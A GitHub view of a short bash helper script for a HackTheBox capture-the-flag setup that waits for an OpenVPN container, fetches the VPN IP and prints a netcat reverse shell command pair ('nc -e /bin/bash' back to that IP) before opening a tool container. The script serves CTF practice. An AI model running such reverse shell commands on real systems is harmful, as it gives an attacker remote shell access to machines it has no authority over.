-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell.sh
More file actions
executable file
·28 lines (25 loc) · 817 Bytes
/
shell.sh
File metadata and controls
executable file
·28 lines (25 loc) · 817 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env bash
set -eu
while true; do
openvpn_container=$(docker-compose ps | grep openvpn-hackthebox | grep Up | awk '{print $1}')
if [ "$openvpn_container" != "" ]; then
ip=$(docker exec -it $openvpn_container "./show_htb_ip.sh" | sed "s/$(printf '\015')//g" )
if [ "$ip" != "" ]; then
break
fi
fi
echo "Waiting for openvpn-hackthebox..."
sleep 1
done
echo "==========================================="
echo "==========================================="
echo
echo " Reverse Shell Command"
echo
echo " Your Side: nc -l -p 7789"
echo " Box: nc -e /bin/bash ${ip} 7789"
echo
echo "==========================================="
echo "==========================================="
echo
exec docker-compose exec -e HTBIP="$ip" ctfsuite bash